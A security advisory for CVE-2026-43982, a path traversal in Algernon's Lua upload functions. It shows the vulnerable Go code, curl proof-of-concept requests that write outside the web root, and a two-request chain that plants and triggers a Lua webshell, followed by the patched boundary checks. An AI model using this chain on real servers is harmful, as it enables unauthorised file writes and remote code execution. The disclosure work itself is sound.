Algernon's savein() Lua method writes uploaded files to a caller-supplied directory without validating that the resolved path stays within the intended base. Passing ../../../tmp as the directory traverses straight out of the web root and writes files anywhere the server process can reach. Chained with Algernon's run3() global, this becomes a two-request unauthenticated remote code execution: one POST to drop a Lua webshell into the web root, one GET to trigger it.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-43982 |
| GHSA ID | GHSA-2j2c-pv62-mmcp |
| Severity | High |
| CVSS v3.1 Score | 8.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) |
| Affected Versions | < 1.17.6 |
| Patched Version | 1.17.6 |
| Affected Repo | xyproto/algernon |
| Report Date | 19 April 2026 |
| Publish Date | 5 May 2026 |
uploadedFileSaveIn() in lua/upload/upload.go builds the destination path by calling filepath.Join() with a directory argument that comes directly from the Lua caller — which itself comes from the HTTP request. filepath.Join() internally calls filepath.Clean(), which silently resolves .. components. There is no check after joining to verify that the resulting path is still inside the intended base directory, so a caller can walk anywhere on the filesystem.
The same problem exists in uploadedFileSave() for the filename itself: handler.Filename from the multipart form was used as-is, meaning a filename like ../../shell.lua could also traverse directories.
lua/upload/upload.go, lines 215–235 (uploadedFileSaveIn)
func uploadedFileSaveIn(L *lua.LState) int {
ulf := checkUploadedFile(L)
givenDirectory := L.ToString(2) // ← from Lua caller, no validation
var writeFilename string
if filepath.IsAbs(givenDirectory) {
writeFilename = filepath.Join(givenDirectory, ulf.filename)
} else {
writeFilename = filepath.Join(ulf.scriptdir, givenDirectory, ulf.filename)
// filepath.Join resolves '..' — no boundary check after joining
}
L.Push(lua.LBool(ulf.write(writeFilename, givenPermissions) == nil))
return 1
}A givenDirectory of ../../../tmp resolves cleanly to /tmp — entirely outside the web root — with no error, no log, and a true return value back to the Lua caller.
Exploit 1 — Write outside the web root:
curl -X POST "http://localhost:4000/upload.lua?dir=../../../tmp" \
-F "file=@/tmp/payload.txt"
# Response: Saved to: ../../../tmp/payload.txt
cat /tmp/payload.txt
# THIS FILE WAS WRITTEN VIA PATH TRAVERSALExploit 2 — Drop Lua webshell into web root (chained RCE, two requests):
# Step 1: create the webshell
echo 'local out,_,_ = run3("id"); content("text/plain"); print(out[1])' > /tmp/shell.lua
# Step 2: upload with traversal back into web root
curl -X POST "http://localhost:4000/upload.lua?dir=../poc-root" \
-F "file=@/tmp/shell.lua"
# Response: Saved to: ../poc-root/shell.lua
# Step 3: trigger the dropped webshell
curl "http://localhost:4000/shell.lua"
# Response: uid=1000(katriel) gid=1000(katriel) groups=...,27(sudo),...The immediate impact is arbitrary file write to any path the server process can reach — configs, cron jobs, authorized_keys, or any file in the web root.
When chained with CVE-2026-43983 (run3()), this becomes a complete unauthenticated RCE path requiring just two HTTP requests. One POST drops a Lua webshell into the web root via traversal. One GET executes it. No credentials, no session, no prior access required.
Even without run3(), an attacker can overwrite existing .lua handlers to inject backdoors into legitimate application logic, or write files to system paths depending on the server process's permissions.
Fixed in v1.17.6 by xyproto via commit 83cd2fb, referencing issue #172.
Three changes were made in lua/upload/upload.go:
1. Strip path components from the uploaded filename at parse time (New()):
// Before — raw filename from the multipart form, no sanitisation
return &UploadedFile{req, handler.Header, buf, scriptdir, handler.Filename}, nil
// After — only the base name is kept, any directory components are discarded
safeFilename := filepath.Base(handler.Filename)
return &UploadedFile{req, handler.Header, buf, scriptdir, safeFilename}, nil2. Boundary check added to uploadedFileSave():
// After filepath.Join, resolve both paths to absolute and verify containment
absBase, _ := filepath.Abs(ulf.scriptdir)
absTarget, _ := filepath.Abs(writeFilename)
if !strings.HasPrefix(absTarget, absBase+string(os.PathSeparator)) && absTarget != absBase {
logrus.Error("path traversal attempt blocked: ", writeFilename)
L.Push(lua.LBool(false))
return 1
}3. Same boundary check added to uploadedFileSaveIn():
// Before — no check, ../../../tmp resolves silently
var writeFilename string
if filepath.IsAbs(givenDirectory) {
writeFilename = filepath.Join(givenDirectory, ulf.filename)
} else {
writeFilename = filepath.Join(ulf.scriptdir, givenDirectory, ulf.filename)
}
// After — absBase is computed from the intended directory, then verified
var baseDir string
if filepath.IsAbs(givenDirectory) {
writeFilename = filepath.Join(givenDirectory, ulf.filename)
baseDir = givenDirectory
} else {
writeFilename = filepath.Join(ulf.scriptdir, givenDirectory, ulf.filename)
baseDir = filepath.Join(ulf.scriptdir, givenDirectory)
}
absBase, _ := filepath.Abs(baseDir)
absTarget, _ := filepath.Abs(writeFilename)
if !strings.HasPrefix(absTarget, absBase+string(os.PathSeparator)) && absTarget != absBase {
logrus.Error("path traversal attempt blocked: ", writeFilename)
L.Push(lua.LBool(false))
return 1
}The approach uses filepath.Abs() rather than filepath.EvalSymlinks() — simpler and sufficient since the goal is catching .. traversal rather than symlink following.
- 19 April 2026 — Vulnerability discovered and privately reported to xyproto via
xyproto@archlinux.orgper SECURITY.md - 25 April 2026 — Fix merged, commit
83cd2fb - Pre-1.17.6 — CVE-2026-43982 assigned
- 5 May 2026 — Advisory published (GHSA-2j2c-pv62-mmcp, this writeup)

